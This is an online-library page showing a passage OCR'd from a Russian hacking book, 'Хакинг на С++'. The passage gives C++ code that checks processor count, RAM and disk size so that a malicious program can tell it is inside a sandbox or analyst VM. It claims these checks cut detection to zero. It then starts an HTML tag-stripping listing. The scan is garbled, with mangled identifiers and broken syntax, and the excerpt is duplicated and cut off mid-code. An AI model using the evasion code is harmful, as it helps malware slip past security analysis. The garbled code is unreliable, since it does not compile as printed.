А. А. Ярошенко - Хакинг на С++
Название: | Хакинг на С++ | |
Автор: | А. А. Ярошенко | |
Жанр: | Учебники и самоучители по компьютеру | |
Изадано в серии: | неизвестно | |
Издательство: | неизвестно | |
Год издания: | - | |
ISBN: | неизвестно | |
Отзывы: | Комментировать | |
Рейтинг: | ||
Поделись книгой с друзьями! Помощь сайту: донат на оплату сервера |
Краткое содержание книги "Хакинг на С++"
Читаем онлайн "Хакинг на С++". [Страница - 11]
станцию пользователя). Виртуализированные
среды имеют ограниченные ресурсы (соответствующие имена устройств
также могут предоставить полезную информацию), могут иметь установ
ленные инструменты и драйверы для конкретных виртуальных машин,
часто выглядят как новая установка Windows и иногда используют жестко
заданные имена пользователей или компьютеров. Мы можем воспользовать
ся этим.
Основная проблема заключается в ограниченных ресурсах: песочница не
может работать долго и параллельно потреблять симуляции, поэтому часто
ограничивает выделяемые ресурсы и время, выделенное для одного эк
земпляра. Обычные блоки виртуальных машин, используемые аналитиками,
также подвержены тем же ограничениям - их ресурсы часто ограничены.
Типичная пользовательская рабочая станция имеет процессор с не менее
чем 2 ядрами, не менее 2 ГБ ОЗУ и жесткий диск на 100 ГБ. Мы можем про
верить, соответствует ли среда, в которой выполняется наше вредоносное
приложение, следующим ограничениям:
// проверяем процессор
SYSTEM_INFO systeminfo;
GetSysteminfo(&systeminfo);
DWORD numberOfProcessors = systeminfo.dwNumberOfProcessors;
i f (numЬerOfProcessors < 2) return false;
// проверяем память
MEMORYSTATUSEX memoryStatus;
memoryStatus.dwLength = s i zeof(memoryStatus);
GlobalMemoryStatusEx(&memoryStatus);
DWORD RАММВ = memoryStatus.ullTotalPhys / 1024 / 1024;
if (RАММВ < 2048) return false;
// проверяем накопитель
НANDLE hDevice = CreateFileW(L"\\\\.\\PhysicalDrive0", О, FILE SНARE READ
FILE_SHARE_WRITE, NULL, OPEN EXISTING, 0, NULL);
DISK_GEOMETRY pDiskGeometry;
DWORD bytesReturned;
DeviceioControl(hDevice, IOCTL_DISK_GET D RIVE_GEOMETRY,NULL,0,
&pDiskGeometry, sizeof(pDiskGeometry), &bytesReturned, (LIOVERIAPPED)NULL);
DWORD diskSizeGB;
diskSizeGB = pDiskGeometry.Cylinders.QuadPart *
•
IJII-··················································································
1 1,1ва Х Ра 1pafio 11,а На/11·ш·с
(ULONG)pDiskGeometry.TracksPerCylinder * (ULONG)pDiskGeometry.SectorsPerTrack
* (ULONG)pDiskGeometry.BytesPerSector / 1024 / 1024 / 1024;
if (diskSizeGB < 100) return false;
Используя эти простые проверки, мы смогли снизить уровень обнаружения
до нуля. С другом шелл-кодом результат может быть иньiм, но тем не менее,
можно поэкспериментировать .
•.---------------... --.---..--. --. --------------.. ---.--------. --. -----------------1!11
Глава 9.
Полезные примеры для
хакинга
'\а1.:11111 11а ( ·-1 +
В этой главе мы напишем несколько небольших программ, которые могут
пригодиться вам на практике хакинга.
9.1. НТМL-клинер на С++
НТМL представляет собой смесь текста и тегов для его визуального отобра
жения. Мы напишем программу, которая будет очищать НТМL-код и выво
дить лишь текст, заключенный в НТМL-тегах.
Листинг 9.1. Очищаем НТМL-код от тегов
#include
using namespace std;
// Функция для парсинга НТМL-кода
void parser(char* S)
(
// Храним длину
•
•··················································································
1 1,111,1 Ч l\o.1t•111ыe 11р11чt·111,1 1.ш ,ai,11111a
// строки s
int n = strlen(S);
int start = О, end
О;
// Обход строки
for (int i = О; i < n; i++)
// Если S[i] = '>', обновляем
// на�ало к i+l и останов
i f ( s [i] == I > I )
start = i + 1;
break;
// Удаляем пробел
w hile (S[start]
start++;
' ')
// Обход строки
for (int i = start; i < n; i++)
// Если S[i] = ' --">
среды имеют ограниченные ресурсы (соответствующие имена устройств
также могут предоставить полезную информацию), могут иметь установ
ленные инструменты и драйверы для конкретных виртуальных машин,
часто выглядят как новая установка Windows и иногда используют жестко
заданные имена пользователей или компьютеров. Мы можем воспользовать
ся этим.
Основная проблема заключается в ограниченных ресурсах: песочница не
может работать долго и параллельно потреблять симуляции, поэтому часто
ограничивает выделяемые ресурсы и время, выделенное для одного эк
земпляра. Обычные блоки виртуальных машин, используемые аналитиками,
также подвержены тем же ограничениям - их ресурсы часто ограничены.
Типичная пользовательская рабочая станция имеет процессор с не менее
чем 2 ядрами, не менее 2 ГБ ОЗУ и жесткий диск на 100 ГБ. Мы можем про
верить, соответствует ли среда, в которой выполняется наше вредоносное
приложение, следующим ограничениям:
// проверяем процессор
SYSTEM_INFO systeminfo;
GetSysteminfo(&systeminfo);
DWORD numberOfProcessors = systeminfo.dwNumberOfProcessors;
i f (numЬerOfProcessors < 2) return false;
// проверяем память
MEMORYSTATUSEX memoryStatus;
memoryStatus.dwLength = s i zeof(memoryStatus);
GlobalMemoryStatusEx(&memoryStatus);
DWORD RАММВ = memoryStatus.ullTotalPhys / 1024 / 1024;
if (RАММВ < 2048) return false;
// проверяем накопитель
НANDLE hDevice = CreateFileW(L"\\\\.\\PhysicalDrive0", О, FILE SНARE READ
FILE_SHARE_WRITE, NULL, OPEN EXISTING, 0, NULL);
DISK_GEOMETRY pDiskGeometry;
DWORD bytesReturned;
DeviceioControl(hDevice, IOCTL_DISK_GET D RIVE_GEOMETRY,NULL,0,
&pDiskGeometry, sizeof(pDiskGeometry), &bytesReturned, (LIOVERIAPPED)NULL);
DWORD diskSizeGB;
diskSizeGB = pDiskGeometry.Cylinders.QuadPart *
•
IJII-··················································································
1 1,1ва Х Ра 1pafio 11,а На/11·ш·с
(ULONG)pDiskGeometry.TracksPerCylinder * (ULONG)pDiskGeometry.SectorsPerTrack
* (ULONG)pDiskGeometry.BytesPerSector / 1024 / 1024 / 1024;
if (diskSizeGB < 100) return false;
Используя эти простые проверки, мы смогли снизить уровень обнаружения
до нуля. С другом шелл-кодом результат может быть иньiм, но тем не менее,
можно поэкспериментировать .
•.---------------... --.---..--. --. --------------.. ---.--------. --. -----------------1!11
Глава 9.
Полезные примеры для
хакинга
'\а1.:11111 11а ( ·-1 +
В этой главе мы напишем несколько небольших программ, которые могут
пригодиться вам на практике хакинга.
9.1. НТМL-клинер на С++
НТМL представляет собой смесь текста и тегов для его визуального отобра
жения. Мы напишем программу, которая будет очищать НТМL-код и выво
дить лишь текст, заключенный в НТМL-тегах.
Листинг 9.1. Очищаем НТМL-код от тегов
#include
using namespace std;
// Функция для парсинга НТМL-кода
void parser(char* S)
(
// Храним длину
•
•··················································································
1 1,111,1 Ч l\o.1t•111ыe 11р11чt·111,1 1.ш ,ai,11111a
// строки s
int n = strlen(S);
int start = О, end
О;
// Обход строки
for (int i = О; i < n; i++)
// Если S[i] = '>', обновляем
// на�ало к i+l и останов
i f ( s [i] == I > I )
start = i + 1;
break;
// Удаляем пробел
w hile (S[start]
start++;
' ')
// Обход строки
for (int i = start; i < n; i++)
// Если S[i] = ' --">
Книги схожие с «Хакинг на С++» по жанру, серии, автору или названию:
Джон Эриксон - Хакинг: искусство эксплойта Жанр: Другие языки и системы программирования Год издания: 2010 |
А. А. Ярошенко - Хакинг на примерах Уязвимости, взлом, защита Жанр: Хакерство Год издания: 2021 |